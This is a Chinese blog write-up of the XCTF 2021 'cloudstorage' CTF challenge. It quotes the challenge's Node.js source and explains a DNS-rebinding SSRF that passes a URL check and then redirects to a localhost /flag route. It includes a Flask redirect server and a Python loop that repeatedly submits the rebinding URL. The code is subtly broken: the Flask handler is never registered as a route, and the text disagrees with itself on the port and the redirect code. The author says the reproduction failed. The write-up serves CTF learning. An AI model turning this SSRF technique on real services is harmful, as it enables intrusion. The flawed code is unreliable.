[XCTF鲲鹏计算专场 2021]cloudstorage

[XCTF鲲鹏计算专场2021]cloudstorage

题目分析

题目给了源码,首先看 app.js 中的 /flag 路由:

app.get('/flag', function(req, res){
    if (req.ip === '127.0.0.1') {
        res.status(200).send(env.parsed.flag)
    } else res.status(403).end('not so simple');
});

这里说请求的ip为127.0.0.1才可以获取flag,显然这大概率是一道SSRF的题目。

再看到关键的 panel.js 中的 /admin 路由:

app.post('/admin', (req, res) => {
    if ( !req.body.fileurl || !check(req.body.fileurl) ) {
        res.end("Invalid file link")
        return
    }
    let file = req.body.fileurl;

    //dont DOS attack, i will sleep before request
    cp.execSync('sleep 5')

    let options = {url : file, timeout : 3000}
    request.get(options ,(error, httpResponse, body) => {
        if (!error) {
            res.set({"Content-Type" : "text/html; charset=utf-8"})
            res.render("check", {"body" : body})
        } else {
            res.end( JSON.stringify({"code" : "-1", "message" : error.toString()}) )
        }
    });
})

POST 提交 fileurl 参数,首先调用 check() 进行 url 的验证,然后同步执行 sleep 5 命令,之后使用request 去访问并把访问的结果渲染进模板。

然后看 utils.js 中的 check() 函数:

const checkip = function (value) {
    let pattern = /^\d{1,3}(\.\d{1,3}){3}$/;
    if (!pattern.exec(value))
        return false;
    let ary = value.split('.');
    for(let key in ary)
    {
        if (parseInt(ary[key]) > 255)
            return false;
    }
    return true ;
}

const dnslookup = function(s) {
    if (typeof(s) == 'string' && !s.match(/[^\w-.]/)) {
        let query = '';
        try {
            query = JSON.parse(cp.execSync(`curl http://ip-api.com/json/${s}`)).query
        } catch (e) {
            return 'wrong'
        }
        return checkip(query) ? query : 'wrong'
    } else return 'wrong'
}

const check = function(s) {
    if (!typeof (s) == 'string' || !s.match(/^http\:\/\//))
        return false

    let blacklist = ['wrong', '127.', 'local', '@', 'flag']
    let host, port, dns;

    host = url.parse(s).hostname
    port = url.parse(s).port
    if ( host == null || port == null)
        return false

    dns = dnslookup(host);
    if ( ip.isPrivate(dns) || dns != docker.ip || ['80','8080'].includes(port) )
        return false

    for (let i = 0; i < blacklist.length; i++)
    {
        let regex = new RegExp(blacklist[i], 'i');
        try {
            if (ip.fromLong(s.replace(/[^\d]/g,'').substr(0,10)).match(regex))
                return false
        } catch (e) {}
        if (s.match(regex))
            return false
    }
    return true
}

check() 主要逻辑如下:

  1. url.parse() 解析通过
  2. 利用公网上一个 dns 解析的 api 来解析,解析出的 ip 不能是私有 ip 并且必须等于 docker.ip
  3. 端口不能是 80 或者 8080
  4. 之后 for 循环匹配了一些黑名单关键字

这个地方是无法被绕过的。

DNS重绑定

当一个 url 被提交到 /admin 路由,题目干了两件事:

  1. check() 内利用公网那个 api 对域名进行了第一次解析
  2. sleep 5 后,request.get () 访问 url 对域名进行了第二次解析

正如它的名字 “重绑”,攻击者准备一个域名,在 check 时解析到了题目的 ip 地址,于是理所当然的过了 check;之后,攻击者将其 “重新绑定” 到一个攻击者的 ip 或者内网 ip 或者本地 ip,再第二次访问时第二次解析,此时解析出来的 IP 已经被重绑到了新的 ip,于是就访问到了攻击者 / 内网 / 本地;这里的 sleep 本身也是一个助攻,因为这个时间差可以更利于重绑攻击的实现。

很多时候 DNS 重绑是先过 check 然后重绑到 127.0.0.1 来 SSRF。本题目的 SSRF 和常规 SSRF 的套路一致,但不能重绑到 127.0.0.1,因为本地是 80 端口,但是 check() 并不允许访问 80 端口;所以我们可以让它解析到攻击者的 ip 并且是非 80/8080 端口,当访问到攻击者时,利用 302 跳转到 http://127.0.0.1:80/flag,request 会默认 follow 这个 302 重定向,即可 SSRF 成功。

首先准备一台个人服务器,开放非 80/8080 端口 (我开的 2333),跳转到 http://127.0.0.1/flag

from flask import Flask
app = Flask(__name__)

def bb():
    return "login fail", 301, [("Location", "http://127.0.0.1/flag")]
app.run("0.0.0.0", port=2333)

关于dns rebinding有很多现成的平台,也可以自己搭建,推荐使用 requestrepo.com 使用很简单且完全免费

我的服务器是81.x.x.x 现在我准备了一个域名,并且让他随机解析成题目的ip(这里我是本地在wsl复现)和我自己的81.x.x.x

image-20211102161624559

然后提交 http://john.5mtra1wc.requestrepo.com:2333 到/admin路由(因为我起的用来重定向的web服务是40001端口的) 因为dns解析存在缓存、延迟等问题,可能需要多提交几次才可以成功,写脚本循环

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req

s = req.session()
url = "http://172.17.223.226:8000/admin"
data = {"fileurl" : "http://john.5mtra1wc.requestrepo.com:2333" }
while True:
    try:
        text = s.post(url=url, data=data, timeout=10).text
        print(text)
        if "flag{" in text:
            exit(0)
    except Exception as e :
        print(e)

这里本地复现失败了,我的VPS一直接收不到请求

参考资料

DNS Rebinding Attack DNS重绑攻击在SSRF中的应用

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇